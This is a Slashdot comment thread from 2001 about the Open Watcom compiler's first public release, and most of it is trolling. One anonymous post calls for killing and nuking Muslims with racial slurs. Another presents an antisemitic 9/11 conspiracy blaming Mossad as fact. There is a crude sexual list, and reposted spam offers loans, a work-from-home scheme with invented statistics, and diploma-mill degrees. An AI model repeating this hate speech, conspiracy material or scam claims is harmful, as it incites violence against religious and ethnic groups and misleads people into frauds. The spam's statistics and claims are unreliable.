    (User #89645 Info | Last Journal: Saturday August 18, @05:04AM)
    Not a troll. 32-bit flat memory, etc. under DOS was cool in the early 90s, but really how viable is it in this day and age?

    [ Reply to This | Parent ]

    Re:How much use is this in the modern era? by reynaert (Score:1) Saturday September 29, @11:28PM
    Re:How much use is this in the modern era? Saturday September 29, @11:34PM
    Re:How much use is this in the modern era? by rabidcow (Score:1) Saturday September 29, @11:43PM

    summary so far (Score:-1, Offtopic)
    by Anonymous Coward on Saturday September 29, @11:11PM (#2369529)
    Get some PRIORITIES (Score:-1, Flamebait) by Anonymous Coward on Saturday September 29, @08:32PM (#2369452) The worst terrorist attack in recorded history occurred just over two weeks ago, and you people are discussing how but a few days ago the Open Watcom Project made it's first public release....

    [ Reply to This | Parent ] * Re:Get some PRIORITIES by dieragheads (Score:-1) Saturday September 29, @08:37PM * Suck my COCK by Anonymous Coward (Score:-1) Saturday September 29, @08:38PM Lol... ... I think the idea of the Graviton Lance was a concept that most game engines haven't fully developed (Fire a weapon, and tendrils of energy fire in truly random directions (Not just immediate explosino area) creating collateral damage that could hinder your progress later in the game.) Not to mention that Syndicate Wars had one of the coolest openings ever made....

    (Score:-1, Offtopic) by Anonymous Coward on Saturday September 29, @08:36PM (#2369463) * A case of beer * Some acid * Three gerbils * Duct tape * Two young goats * A twelve-year old virgin * Nipple clamps * Four enema bags * Styrofoam penuts * A lot of lube * And a cardboard cutout of George W. Bush ...

    (Score:-1) by Pr0n K1ng on Saturday September 29, @08:37PM (#2369465) (User #160688 Info | Last Journal: Tuesday August 28, @10:38AM) Even though there's other posts here, mine was first!...

    (Score:-1) by egg troll on Saturday September 29, @08:43PM (#2369480) (User #515396 Info | Last Journal: Wednesday August 29, @04:16PM) I work as a consultant for several fortune 500 companies, and I think I can shed a little light on the climate of the open source community at the moment....

    (Score:-1) by egg troll on Saturday September 29, @08:46PM (#2369485) (User #515396 Info | Last Journal: Wednesday August 29, @04:16PM) Congrats, its only like 10 fucking years old now!...

    (Score:0) by Anonymous Coward on Saturday September 29, @08:53PM (#2369497) The Open Watcom core team has already created a binary patch update release Interesting use of the word once you take the project status [openwatcom.org] page into consideration.

    Perhaps this time next year they'll release another beta of this patch, get a little more free publicity from Slashdot, and get a few more dollars in donations....

    (Score:1) by reynaert on Saturday September 29, @09:06PM (#2369515) (User #264437 Info) This OpenWatcom project has existed for over a year, claiming they will make a open source release.

    [ Reply to This | Parent ]

    Re:summary so far Saturday September 29, @11:57PM

    Incinerate Islam. Burn Them Alive. Nuke Muslims. (Score:-1, Troll)
    by Anonymous Coward on Saturday September 29, @11:22PM (#2369548)
    Our beloved dead cry out in tortured agony:
    Kill all Muslims.
    Kill all Mohammedans.
    Kill all Arabs.
    Kill all Towel Heads.
    Kill all Camel Jockeys.
    Kill all Sand Niggers.
    Kill all Dune Coons.
    Kill all Islam.
    Nuke their countries to hell.
    Nuke them again.
    Death to Islam.
    I piss on Mecca. I menstruate on the Koran. I shit on Mohammed.

    [ Reply to This | Parent ]

    great news! (Score:0)
    by Anonymous Coward on Saturday September 29, @11:35PM (#2369569)
    This is great. Maybe we'll finally have a decent, free C compiler!

    [ Reply to This | Parent ]

    WTC Truth! (Score:0)
    by Anonymous Coward on Saturday September 29, @11:53PM (#2369599)
    Facts:

    4000 Jews were told to stay away from WTC Sept. 11.

    Many of the people defamed as monstrous killers have been found alive and not in league with terrorists in the Middle East.

    Thus the names are probably all false.

    Therefore it required signifigant organizational resources to pull off the murders.

    Osama bin Laden is hiding out in Afganistan do you think that if he had signifigant organizational resources that he would be there?

    The only group that could have pulled off the attacks is Mossad. The Israelis are trying to kill all the Muslim people by having the Americans destroy them.

    This is a vast Zionist conspiracy and must be stopped!

    Proof is here [allahhatesjews.com]

    [ Reply to This | Parent ]

    1. Re:Godddamn by Anonymous Coward · · Score: -1, Flamebait

      What a bizzare little turd you are.

    2. Re:Godddamn by Anonymous Coward · · Score: -1, Flamebait


      Ahhhh i get it! you forgot to hit the Post Anonymously button.... HAHAHAHAHAHAHA!

      look at this jerkoff's user profile. It is the funniest thing i read on slashdot so far.

  30. Are you like me? by Anonymous Coward · · Score: -1, Offtopic

    If you're like me you get a lot of junkmail and you're sick and tired of it! Well, I've decided to do something about it! In an effort to cut down on the amount of SPAM I get, I will be uploading each and every piece of unsolicited e-mail I receive to Slashdot for further processing.
    ----------
    Express Loan Approval Center

    All Homeowners Qualify!

    Poor Credit? Not a problem!

    Whether your credit rating is A++ or you are "credit challenged",
    we have many loan programs through hundreds of lenders.

    Second Mortgages - We can help you get up to 125% of your homes value (ratios vary by state).

    Refinancing - Reduce your monthly payments and get cash back.

    Debt Consolidation - Combine all your bills into one, and save money every month.

    CLICK HERE For All Details And A Free Loan Quotation Today!

    --

    We strongly oppose the use of SPAM email and do not want anyone who does not wish to receive our
    mailings to receive them. As a result, we have retained the services of an independent 3rd party to
    administer our list management and remove list (http://www.removeyou.com/). This is not SPAM. If you
    do not wish to receive further mailings, please click below and enter your email at the bottom
    of the page. You may then rest-assured that you will never receive another email from us
    again. http://www.removeyou.com/ The 21st Century Solution. I.D. # 023154

  31. ... and please donate! by burtonator · · Score: 3, Insightful

    Really cool that they are requesting donations. I think it is important for people to realize that Free Software (as in liberty) isn't always free (as in money).

    I think that if developers would use systems like paypal more we would see in increase in free software!

    Kevin

  32. Moderation Totals: Idiot=2, Total=-1. by Anonymous Coward · · Score: -1, Redundant

    Moderation Totals: Idiot=2, Total=-1.

  33. Are you like me? by Anonymous Coward · · Score: -1, Offtopic

    If you're like me you get a lot of junkmail and you're sick and tired of it! Well, I've decided to do something about it! In an effort to cut down on the amount of SPAM I get, I will be uploading each and every piece of unsolicited e-mail I receive to Slashdot for further processing.
    -----
    STOP!

    URGENT MESSAGE!

    PLEASE READ COMPLETELY!

    THIS MESSAGE WAS SENT PER YOUR REQUEST!

    It is important that you read this message as soon as possible.
    Again I urge you to read this message to its fullest! Last year
    72% of bankruptcies could have been saved by an extra $200 a
    month. We are an International E-Commerce Mail Order Company
    looking for people with a Good Work Ethic and the Desire to Earn
    $500 - $1,500 per Month Part Time or $2,000 - $7,500+ per Month
    Full Time Working From Home or Office! The demand for our
    product line (over 150 different products) is so great we need
    to train more people to process the orders and service the
    growing customer base.

    To better assist you in the understanding E-Commerce and what
    the world is raving about with E-Commerce and the Internet, I
    URGE you to read this message for your own training and
    understanding on what it can do for you. Everyone is excited
    about E-Commerce. We recently opened our business in India
    and with that we are trying to help as many people start and
    generate foreign and local business in India as fast as possible.
    As the Economy in India is tested, this opportunity right now is
    the fastest growing industry in India, Panama, Cyprus, Korea,
    China and Japan. This is a U.S. Based Company so it is very
    exciting to be growing by doubling and tripling in over 50
    Countries right now. Expected growth in the next three years
    is 80 % in each country with new countries opening every day.
    We are expected to reach the world in the next 4 years and with
    that you can imagine the internet and E-Commerce is currently
    growing by 200 % each Quarter. There will be a 2000 % increase
    in E-Commerce Business and revenues on the Internet in the next
    18 Months.

    No special skills or experience is required. We will give you
    all the training and personal support you will need to ensure
    your success. You will be trained via Internet in the comfort
    of your own home and you will determine your work hours. A
    minimum commitment of 7-10 hours a week is required. The income
    you generate from your efforts can put you back in Control of
    your Time, Your Finances and Your Life! If you've tried other
    opportunities in the past that have failed to live up to their promises,
    this is different than anything else you are aware of! This is not
    a get rich scheme. You must work to earn income! Your financial
    past does not have to be your financial future. "There is no security
    on this earth. There is only opportunity." -Douglas Macarthur

    Do you feel like you are too busy earning a living to make any
    real money? Are you tired of living "paycheck to paycheck" like
    I was? Do you dream of a better lifestyle for yourself and your
    family? If so, then I urge you to take read on to better
    understand why I sent you this message. We provide the system,
    experience and hands on training. The only thing that we can not
    give you, but is required is that you, number one have the
    desire and number two, is that you are teachable. We know that
    you have some level of desire because you are reading this
    letter. Ask yourself if you are teachable. Everyone evolved in
    our business had three things in common when they got started:

    They saw an opportunity, they were teachable, and they applied
    what they learned. It's THAT simple. And it's THAT powerful.

    Now imagine just for a moment that you had a home-based business
    that provided Spending more time with your family, Unlimited
    income based on YOUR efforts, Freedom from commuting, Not having
    your kids in day care, Affordable health care for your family,
    Significantly helping others with their lives, Loving what you
    do and doing what you love, Having your own business/being your
    own boss Sounds too good to be true? That's what we thought, but
    today our dreams are coming true and now we're here to help you,
    like others have helped us!

    We like to get right to the point...so here is what we have to
    offer you:
    A well established, financially stable company, 2 Billion dollar
    + sales / publicly traded, Patented, exclusive, high demand
    consumable products, Comprehensive, high-tech in home training,
    Phenomenal support system, Worldwide income opportunities
    (especially through E-Commerce), Exotic paid vacations and
    Minimal start up investment.

    ARE YOU GETTING A BIT CURIOUS?

    GREAT! That's fine... as long as you're serious! Because our
    business is bursting at the seams, we ONLY have time to work
    with serious, motivated people who are ready to make changes in
    their life NOW! And because of the time we spend with each of
    you as we help you get your business off the ground, we have
    limited number of openings available. Here is what you need to
    do...

    This business fell into my lap in September of 1997. I got
    started as a customer and woke up when my wife made an extra
    $500 in the first week. At the time I was an Active Duty Marine
    living paycheck to paycheck making less that $19,000 a year. I
    was attending college at a local University and had two
    children. $500 at that time would have been a dream come true. I
    got started and in our first month I earned $2700 profit, and in
    the first four months my wife and I made $19,000 profit. I had
    made more in 4 months than I made in an entire year as an active
    duty Marine just part time working 10 - 12 hrs a week.

    The average person can start earning any where from $25.00 -
    $75.00 an hour from their home or office computers without
    dedicating allot of time and effort. Most of us have been
    thinking it's about time we took advantage of this Internet
    Craze. Through out the Holidays and especially the last year,
    every thing that we have seen on Television and heard on the
    Radio has either started or ended with www. -----------. Com and
    the reason why is because the Internet has truly simplified
    shopping, convenience which frees up more time for all of us to
    turn that time into quality time. Security and convenience has
    been technologically advanced to give us all the piece of mind.
    E-Commerce is so rampant right now that most of the states in
    the U.S. are buying their groceries over the Internet

    This is your opportunity to take advantage of the E-commerce
    that is literally changing the way the world does business.
    Internet Marketing Group will show you how you can work at home
    using your very own e-commerce storefront. Our opportunity is
    the only business of its kind right now. It's growing by leaps
    and bounds and you can be a part of it while you work at home.
    The Work at Home Network with our company was reviewed and
    published Wall Street Journal, Business Week, Home PC, Forbes,
    Success, and Money, just to name a few. You can work at home
    and use the Internet to run your business. You can market our
    high demand consumable products that are geared and driven by
    the needs of over eighty- percent of the world's population.
    Our products sell them selves, so there is no selling or need
    for out right sales techniques. Also because they are high
    demand consumable products, return business, on going business,
    and referral business is generated. By working at home, you
    reduce overhead, set your own schedule, be your own boss, and
    achieve your own goals. Be an entrepreneur, WORK AT HOME!

    The Market Opportunity is colossal. Over 1/2 of American homes
    have a computer, and E-Commerce sales are increasing month on
    month. America is looking for a better way to buy our products
    and now with this opportunity you can. The Work at Home Network
    a brand of e-commerce that is enabled and energized. The five
    top industries in the world are Medical - Health - Nutrition,
    Computer, Personal Care, Communication and the Burial Businesses
    due to the Baby Boomers. The Work at Home Network put them all
    into a package except for the Burial Business. Our industries
    are guaranteed to be the fastest growing industries for the next
    18 years and each year sales have doubled almost tripled.

    If your country is listed here, you are eligible to start doing
    business immediately. (Argentina, India, Cyprus, Greece,
    Poland, Australia, Hong Kong, Russia, Austria, Indonesia,
    Portugal, Belgium, Israel, South Africa, Botswana, Italy, Spain,
    Brazil, Jamaica, Swaziland, Canada, Japan, Sweden, Chile, Korea,
    Switzerland, Czech Republic, Lesotho, Taiwan, Denmark, Mexico,
    Thailand, Dominican Republic, Namibia, Turkey, Finland, The
    Netherlands, United Kingdom, France, New Zealand, United States,
    Germany, Norway, Venezuela, Philippines, Ireland, Panama,
    Morocco, and China)

    However, if your country is not listed here, it does not mean we
    won't be there very soon. Because our company is expanding into
    several countries a year, yours could be the next one to become
    available. This is an optimal position to be in, one that you
    will definitely want to take advantage of. Due to the fact that
    countries can "open" only once in our industry, if you are one
    of the first to receive this valuable information and one of the
    first to start softening your market, you will belong to an
    exclusive group of wealthy leaders. Our experience in 50
    countries confirms this fact.

    One of the strongest aspects of our business is the on going
    training that is offered. We have International Training's on an
    ongoing basis in most major cities. Weekly conference calls are
    also available, as well as satellite television training
    programs, monthly magazine's and quarterly journals. Our company
    does over 1.5 billion US Dollars in business annually and you
    too can be a part of this growth. Maybe some of you have tried
    other businesses and failed. We welcome you with open arms. Here
    you will find success because we give you the blueprint to
    follow and support you need to develop your own profitable
    home-based business. All we ask of you is to be coachable and be
    willing to learn. We have no need for tire-kickers or window
    shoppers. Please do not request our "decision package" if you
    are not serious about changing the course in your life right
    now. By ordering your "decision package", you will receive all
    you need to get yourself moving towards financial independence.

    So, if you are tired of worrying about money and tired of
    choosing what you can live without, come join the thousands of
    us working from home, setting our own schedules, making a
    fortune and living out our dreams. We invite you to explore how
    the "Work From Home" Internet Program capitalizes on today's
    advancements in technology to help you build a successful
    home-based business.

    Have you noticed the surge of people looking to start home-based
    businesses? Did you know that 32 million households now have
    home-based businesses and that number grows every day? Have you
    asked yourself, "Why?" Why are so many people, including
    yourself, interested in working from home? Our parents never
    searched for a business to operate from home nor did their
    friends. So, why now and why is it suddenly so popular?

    Americans are "cocooning". We want to spend less time on the
    busy freeways commuting, and in over-crowded shopping malls and
    replace that with spending more time at home with our families
    where it is warm and safe. Apparently, we trust society less and
    want to protect ourselves and our families from the "cruel"
    outside world. This is the wave of the future and we are
    beginning to realize with the advancement in technology, we do
    not need to be in an office environment in order to access the
    marketplace and make money. In today's world, the quickest way
    to build a home-based business is to take advantage of the
    Internet craze that has hit the United States and is quickly
    spreading around the world. Like how the Gutenberg Press
    radically changed the communication world in 16th Century
    Europe, the Internet is revolutionizing how we communicate,
    distribute information and the manner in how and where we spend
    our money. It has been said that those who pursue electronic
    commerce (business over the Internet) have the opportunity to
    build an explosive business. While a conventional business can
    cost thousands to hundreds of thousands of dollars to set up and
    run successfully, an Internet business costs dramatically less
    and has the potential to attract international business for just
    a fraction of what the traditional company would spend. On
    average, 30% of all U.S. web traffic is already international
    and 5% to 20% of all web sales originate from outside the United
    States. Everyday, these percentages are radically increasing.
    Consumers worldwide are spending 6.6 billion U.S. dollars a year
    in transactions over the Internet. The awareness level and need
    for users, buyers, advertisers and merchants to get onto the
    Web, and to set-up shop, has dramatically changed even from one
    year ago. This medium of doing business is skyrocketing, and we
    are reaping the benefits, daily. If you combine the Internet
    craze with people's desire to work from home and set their own
    schedule, you have a powerful team, and here is why. Many people
    have heard of SOHO, and no, we don't mean that hip section of
    New York City, rather the S.O.H.O. which refers to "Small
    Office/Home Office." One of today's biggest explosions in the
    economy. The home-based business has been born out of necessity.
    In an era where large corporations can only think of downsizing,
    what are your options? There is no security in Corporate America
    any more! Not only are tens of thousands of workers and
    managers being downsized out of their companies, but also
    thousands of men and women are tired of the corporate "rat race"
    and want to retreat to a home-based business.

    If you decide to "stick it out" in Corporate America or the
    Corporate World, your choices could boil down to finding a
    lucrative niche in the small business world, standing in line at
    the unemployment office, or accepting a cut in pay and benefits.
    We were all raised to give 9 hours work for 8 hours pay, and we
    are not backing away from that. Today's large companies have no
    loyalty to the employees. Their only loyalty is to the bottom
    line. And the bottom line is exactly where most of us are when
    it's time to cut back. Your life is suddenly turned upside down
    because you have no control over your future. Someone who has no
    idea of the quality of your work makes these decisions behind
    closed doors or the extra time you gave the company without
    requesting overtime. They don't know about your family's life:
    they don't understand that you just put braces on your child's
    teeth and now have to pay for them. These "decision makers" job
    is to be impersonal and unbiased in all areas except for the
    company's "best interests." In other words: TO THEM, YOU REALLY
    DON'T MATTER.

    The Great American Dream is gone. Official U.S. government
    reports indicate that more than 3.5 million jobs have been
    eliminated in the past 10 years - including over 2000 jobs per
    day last year alone - and an estimated 55% of all jobs created
    in the next 10 years will be near minimum wage in stores,
    restaurants, and bars. 90% of all the people in North America
    earn less than $40,000 a year and today's two-income family are
    not living as well as their parents did. So what is the
    alternative to the to the Great American Job? Richard Poe,
    former senior editor for "Success Magazine," describes in his
    recent book that a shift in thinking has resulted in over 14
    million people working from home full-time, and another 13
    million part-time. This number is increasing by almost 600,000
    per year. And the average work from home income is $50,250 per
    year, about twice the average income of wage earners working for
    someone else. By the end of the decade over 44% of us will be
    working from home.

    Home based business wage earner's success rate is over 85%
    compared with small businesses like retail shops and
    restaurants, at about 95% failure rate after 5 years. Couple
    that with the flexibility we have to change our schedules and
    set our hours and then those of us who are parents are now
    available when our children need us, plus we no longer have the
    need for the "foster homes" we call day cares, where the
    care-givers get to see all the "firsts" your child performs.
    There's no wonder the number of people looking to work from home
    has skyrocketed. This "New Era" of financial growth is largely
    due to the latest technologies that are now available to those
    who desire to work from home. Imagine what it would be like to
    run an international operation if you so choose, right from the
    comfort of your own home. Well, this is exactly what we offer!
    We offer a "freedom" that is available through a constant flow
    of income that does not depend on the whims of a boss, bonuses
    or the economy.

    Take a look at some of these statistics: At age 50, 75% of the
    population has less than $5,000 in the bank for retirement. At
    age 65, 45% of Americans depend on relatives, 30% depend on
    charities, 23% are still working (most can't afford to quit and
    work until they are no longer physically capable) and Only 2%
    are self-sustaining. At the present time, it is impossible to
    support a family of two working full time at minimum wage! For
    the first time in history, the current generation is averaging a
    lower standard of living then their parents! Automation is
    taking layoffs to record highs!

    The Bureau of Labor Statistics says that Out of 100 people that
    start working at the age of 25, by the age of 65... - 1 is
    wealthy - 4 have enough money to retire - 63 depend on social
    security or charity - 29 are deceased 95% of people, age 65 and
    over cannot afford to retire and work until they die!! What
    Happened to Safety & Security? Why we no longer put our trust &
    faith in "Big Business". In J. Paul Getty's book "How To Get
    Rich", his first rule for success is, "You must be in business
    for yourself. You will never get rich working for someone else."
    This partly explains why someone starts a new home-based
    business in the United States every 10 seconds. In the past 14
    years alone, the numbers of home-based businesses have grown
    from 6 million to 32 million with no slow - down in sight. In
    fact, an estimated 8,493 new home businesses open every day.
    The United States is now driven by an information and service
    economy. Over the past decade, Fortune 500 companies have laid
    off 4.4 million workers while smaller companies steadily
    continue to reduce their work forces. As companies continue to
    downsize and re-organize, many professionals will seek out and
    search for new ways to take control of their careers. Many of
    these individuals have forsworn traditional "nine to five"
    office jobs and are making their homes pay off in more ways than
    one.

    For the entrepreneur, home-based businesses have become the
    bridge between work- crazed big cities and easy- paced
    family-oriented small towns. Link Resources Corp. reports that
    market research shows more than 29 million people run either
    full-time or part-time businesses from their homes. People used
    to believe that their livelihood depended on living in big
    cities near big corporations. That is no longer true, thanks to
    personal computers, increased phone services, fax machines, and
    the Internet, it is no longer necessary to live in close
    proximity to "Big Business". You can now operate that "Big
    Business" right from your home office. Within the last five to
    seven years, technology has been brought to an affordable level
    so that almost everyone has an equal playing field in the
    work-from-home industry. Check out these Statistics: 11% of
    the US market is now on the Internet 1,092,000 new people get
    Internet access each week, while approximately 38% of the US
    adult population, or 68 million US citizens' currently use the
    Internet, according to the fall 1999 Cyber Status reports from
    Mediamark Research Inc. This is an increase of 49% from the
    prior quarter, and this study only counts people who have used
    the Internet in the last 30 days.

    Ziff-Davis's Technology User Profile reported that there are 60
    million PC's connected to the Internet in the US, but home PC's
    still represent the lion's share of the market, with 68 million
    consumers hooked up to the Internet. They predict that up to
    $54 billion US dollars will change hands from business
    transactions online by year 2001.

    Most people are ready to do some sort of business online, they
    just don't know where to start. This is why we are so
    successful. We link-up our marketing techniques with something
    people need, and most of all, something people want. If you add
    strong work ethics, a powerful support system, along with
    personal business coaching, you can't help but be successful. We
    provide not only the vehicle that puts you on the road to
    success, but we also provide the road map. All you have to do
    is be teachable, have the desire for a better life and be
    willing to change what you're doing now. 94% of home-based
    business owners are happier running their own business versus
    working for someone else. 92% recommend working from home to
    others. 94% plan to still be running their own business in five
    years. 20% of home entrepreneurs reported that their businesses
    grossed between $100,000 and $500,000 last year. 23% paid
    themselves annual salaries of $65,000 to $350,000. 41% work at
    home with other family members. 71% think their businesses are
    doing as well or better than they expected. 79% expect their
    home-based business revenues to grow this year. Your search for
    the ideal work environment and for the ideal vehicle to wealth
    is over. You will be able to work more flexible hours while
    increasing your productivity, not to mention drastically cutting
    your commute time, and increasing your most precious
    commodity-quality of life.

    We have developed one of the most exciting, technologically
    advanced home-based businesses that will take you through the
    new millennium. We don't expect you to come to us with
    tremendous business knowledge or a successful track record. We
    have already figured out how to make this work; all you need to
    do is copy what we're already doing.

    Since you've gotten this far, we know you are serious about
    working from home. Your next step will help you make some
    changes and learn some new skills. So, let's go!

    As you know, this is not a lay-on-the-couch, get-rich-quick
    scheme. This is a REAL business and a real opportunity- one that
    has drawn so much interest from people that we had to put this
    screening process in place to help us determine who to work
    with. Our company has been in business for 20 years, is publicly
    held and traded on the NASDAQ. It is important that you realize
    that we can help you build a powerful and profitable business.
    We have an explosive, start to finish, proven Internet Marketing
    system. And we are offering you this simple easy method where
    you can make money working for yourself, over the Internet, from
    the comfort of your home or office. You can earn $1,000 to
    $7,000 per month working around your current job and your
    family's schedule. Our system works regardless of your
    background or computer knowledge. We provide the system,
    experience and hands on training. The only thing that we cannot
    give you, but is required is that you have the desire, and that
    you are teachable. We know that you have some level of desire
    because you got this far. Are you teachable?

    STEP 1. You must call our toll free "International Internet
    Business hotline and listen to some of the members of our team
    talk about the success of their new home based businesses. EVEN
    IF YOU ARE CALLING THIS NUMBER FROM AN INTERNATIONAL COUTRY, I
    URGE YOU TO CALL RIGHT NOW. This is part of our job-to
    introduce you to many others who took a step of faith (like
    you're ready to), and whose lives have changed because of it.

    This call is for everyone. I.E. former Military Service
    Members, Executive Professionals and Laborers Doctors and Nurses
    1-800-708-RICH and enter Access Code 5566. Also to Learn
    about our industry and company dial 1-800-555-1795 and enter
    Access Code 5566.

    This10-minute calls is a 24-hour toll free for all that are in
    the United States; however if you are International I urge you
    to dial this number now and listen to this short message and
    take some notes.
    CAUTION! This Access Code expires on October 6th 2001
    (So call right now!)

    IMPORTANT!
    DO NOT PROCEED TO STEP 2
    UNTIL YOU HAVE LISTENED
    TO THE CALL MENTIONED IN STEP 1

    If you are unsure and need more information, we have put
    together a "How to do business over the Internet" decision
    package that will help you determine whether our business is for
    you or not. This step is only for individuals who have the
    desire to control their own future and who want to work from
    their homes and earn the kind of income that will give you the
    life you deserve. This decision package contains approximately
    three hours of information about our explosive Internet business
    and it also begins your training. You will receive a manual that
    explains how, why and what we are doing, a video where you'll
    meet us and see exactly how our business works and an audiotape
    to further help you with your decision. Your package also
    contains the name and telephone number of your personal coach
    who will be working with you on a daily basis, helping you make
    money in your first week. In other words, you will receive all
    of the information you will need to make a decision to determine
    if this is for you.

    After you request your "International Decision Package", and go
    through all the materials, we will call you and your personal
    training program will begin. At that point, we will also be
    happy to locate the nearest training to you, which are available
    in numerous translations. We have training being conducted in
    over 27 different languages worldwide! This package acts only
    as a way for you to review information about our business and
    begins your training without risk. This step eliminates the
    people who are not serious and allows us to work with those of
    you who are. Please recognize the importance of this step. We
    simply do not have the time to spend with people who are merely
    curious, which is why we designed this package to provide you
    with all of the information you will need to make a decision and
    determine if this is for you. If we spent our time answering
    e-mail requests for additional information, we'd not only be
    duplicating the effort we put into developing the decision
    package, but we'd also be taking valuable time away from running
    our business and training new people. Once you start working
    with us, we're sure you will appreciate our spending time
    training you instead of responding to curious e-mails all day
    long.

    Since we don't spend countless hours answering the tireless
    questions of the curiosity-seekers, you benefit, because it
    frees us up in order to dedicate ourselves to your success. When
    we spend time with you, we know we are working with someone who,
    like us, is committed to a better lifestyle. What is Your
    Future Worth? Decide for yourself and for your family what it
    is you want and by when you want to achieve it. Only you can
    determine how dedicated you are to achieving your dreams.
    Hopefully, you won't find yourself relying on your friends and
    family for direction and salvation. They cannot provide that for
    you - only you can do that. You need to make a decision to
    either give this a shot or to continue down the path you're on.
    Most likely, if you have read this far, you have already made
    the decision to make some healthy changes in your life. When we
    were looking at this "Work From Home" Opportunity for the first
    time, just like you, we were nervous and thought that maybe this
    wouldn't work. Like you, we doubted we could really achieve our
    dreams. We went for it any way and now we are making incredible
    incomes, working from home, and for most of us- it's a dream
    come true. We don't have a boss to answer to or a clock to
    punch.

    All you need to do now is take action. Take action by ordering
    your "Decision Package" and we'll be there to help you through
    your questions and then to work with you to build your own "Work
    >From Home" Internet Business. But please don't request more
    information unless you are committed to improving your life. If
    you are ready to learn and you are serious about achieving a
    brighter future and a better life, then we are committed to you.
    We are ready to give you the same step-by-step plan we used to
    build our fortune. There will be no surprises. We know exactly
    what to do and how to coach others be successful within the same
    system. Our Program works. It's already happening for hundreds
    of people. Why not you? Right now, take the next step, and get
    started on your way to a brighter lifestyle.

    STEP 2: To get started or request your decision package only
    after you have completed STEP 1 please call our international 24
    hour order hotline at 1-206-222-2826. International callers and
    for United States, Canada, and Mexico callers please also dial
    1-206-222-2826.

    We are willing to train you and work with you, as others have
    done with us, to help secure your financial future. But,
    remember, we only work with those that truly have the desire and
    ambitions to work-we don't have time to work with couch
    potatoes! Successful people do what unsuccessful people won't.

    So develop a sense of urgency and give your desires value!
    Procrastination is the biggest killer of success and you can now
    break that cycle! REMEMBER, for things to change, you have to
    change and for things to get better, you have to get better. Order
    your materials today, and when they arrive, review everything
    thoroughly BEFORE calling your personal coach.

    Remember the importance of following directions- we are looking
    for people who are teachable and willing to work. We're very
    excited about our future and we know you will be, too!! Until we
    speak personally, thank you and have a great day!

    Again please follow STEP 2: To get started or request your
    decision package only after you have completed STEP 1
    please call our international 24 hour order hotline at
    1-206-222-2826. International callers and for United
    States, Canada, and Mexico callers please also dial
    1-206-222-2826.

    © 2001 all rights reserved. This message is an advertisement
    sent to you by an independent marketing company.

  34. Are you like me? by Anonymous Coward · · Score: -1, Offtopic

    If you're like me you get a lot of junkmail and you're sick and tired of it! Well, I've decided to do something about it! In an effort to cut down on the amount of SPAM I get, I will be uploading each and every piece of unsolicited e-mail I receive to Slashdot for further processing.
    --
    YOUR DEGREE MAY BE CLOSER THAN YOU THINK

    We remove the obstacles that cause adults to abandon hope.
    DID YOU KNOW that you could earn your legitimate Associate's, Bachelor's, Master's or even Doctorate degree, utilizing your already existing professional or academic expertise?

    Obtain a prosperous future, money earning power,
    and the admiration of all.

    Prepare for the professional advancement you deserve.
    If you are an adult with a high school diploma and have a minimum of three years of experience in the field you are seeking a degree in, YOU QUALIFY.

    As you know, employers continually hire, promote and give raises to new employees that have ZERO skills or experience, just because they have that piece of paper.

    Take part in the wealth now! Within days you can apply for that unreachable job, or show your degree to your employer and demand the raise and promotion that your knowledge and skills deserve.

    How does this work? You graduate without attending classes, or taking a leave of absence from your current job. You receive you degree based on life and work experience!

    The degree earned by our students enables them to qualify for career advancement and personal growth, while breaking down the wall that prevents them from receiving big money.

    Degree verification and official transcripts will be provided in writing when requested by employers and others authorized by the graduate. Our college & University transcripts meet the highest academic standards. Our University issues a degree printed on premium diploma paper, bearing an official gold raised college seal.

    No one is turned down.

    Call 1-602-230-4252

    Confidentiality assured.

    CALL NOW to receive your diploma within days!!!

    1-602-230-4252

    Call 24 hours a day, 7 days a week, including
    Sundays and holidays.

  35. Are you like me? by Anonymous Coward · · Score: -1, Offtopic

    If you're like me you get a lot of junkmail and you're sick and tired of it! Well, I've decided to do something about it! In an effort to cut down on the amount of SPAM I get, I will be uploading each and every piece of unsolicited e-mail I receive to Slashdot for further processing.
    --
    IMPORTANT COMPUTER TECHNOLOGY NEWS

    By now, you've probably heard about, read about or talked about the most advanced Bible study technology available today.

    IT'S THE WORD -- BIBLE ON CD SOFTWARE.

    Find solutions to all your daily problems and life's challenges at the click of a mouse button?

    This incredible new software has the answers you're looking. It's the most powerful, life-changing tool available today and it's easy to use. So don't wait any longer, take advantage of this sizzling summer special.

    On one CD, (Windows or Macintosh versions) you have a complete library of Bibles, well known reference books and study tools. You can view several Bible versions simultaneously, make personal notes, print scriptures and search by word, phrase or topic.

    If you are interested in complete information on The Word CD, please visit our Web site. Go to: http://www.terra.es/personal7/account5/ If this link does not work, try typing the address directly into your browser.

    If your browser won't load the Web site, send us an e-mail and we will provide you with more information.

    mailto:allbiblecd@netscape.net?subject=Please-em ai l-Bible-info

    THE WORD BIBLE CD IS SIMPLY AMAZING

    The wide range of resources on the CD are valued at over $1,500 if purchased separately.

    ** 14 English Bible Versions
    ** 12 Foreign Language Versions
    ** 9 Original Language Versions
    ** Homeschool Resource Index
    ** 17 Notes & Commentaries
    ** Colorful Maps, Illustrations, & Graphs
    ** Step-by-Step Tutorial
    ** Fast & Powerful Word/Phrase Search
    ** More than 660,000 cross references
    ** Complete Manual With Index

    Also:

    ** Build a strong foundation for dynamic Bible Study,
    ** Make personal notes directly into your computer,
    ** Create links to favorite scriptures and books.

    Try it. No Risk. 30-day money-back guarantee
    [excluding shipping & handling]

    US and International orders accepted.
    Credit cards and personal checks accepted.

    If you are interested in complete information on The Word CD, please visit our Web site: http://www.terra.es/personal7/account5/ If this link does not work, try typing the address directly into your browser.

    If your browser won't load the Web site, send us an e-mail and we will provide you with more information.

    mailto:allbiblecd@netscape.net?subject=Please-em ai l-Bible-info

    Your relationship with God is the foundation of your life -- on earth and for eternity. It's the most important relationship you'll ever enjoy. Build your relationship with God so you can reap the life-changing benefits only He can provide: unconditional love; eternal life; financial and emotional strength; health; and solutions to every problem or challenge you'll ever face.

    May God Bless You,

    GGII Ministries
    160 White Pines Dr.
    Suite C
    Alpharetta GA, 30004

    We apologize if you are not interested in being on our Bible News e-mail list. The Internet is the fastest method of distributing this type of timely information all over the world. If you wish to have your e-mail address off our Bible News e-mail database, DO NOT USE THE REPLY BUTTON. THE FROM ADDRESS DOES NOT GO TO OUR OPT-OUT DATABASE.

    Simply click here to send an e-mail that will opt-out your address from the database: mailto:offlist2953@cheerful.com?subject=offlist

  36. Another one... by reynaert · · Score: 3, Informative

    TenDRA (http://www.cse.unsw.edu.au/~patrykz/TenDRA/) also exists. The only thing I know about it is that it is included in Debian Woody. If anobody knows more, please reply :)

    1. Re:Another one... by Cato · · Score: 3, Informative

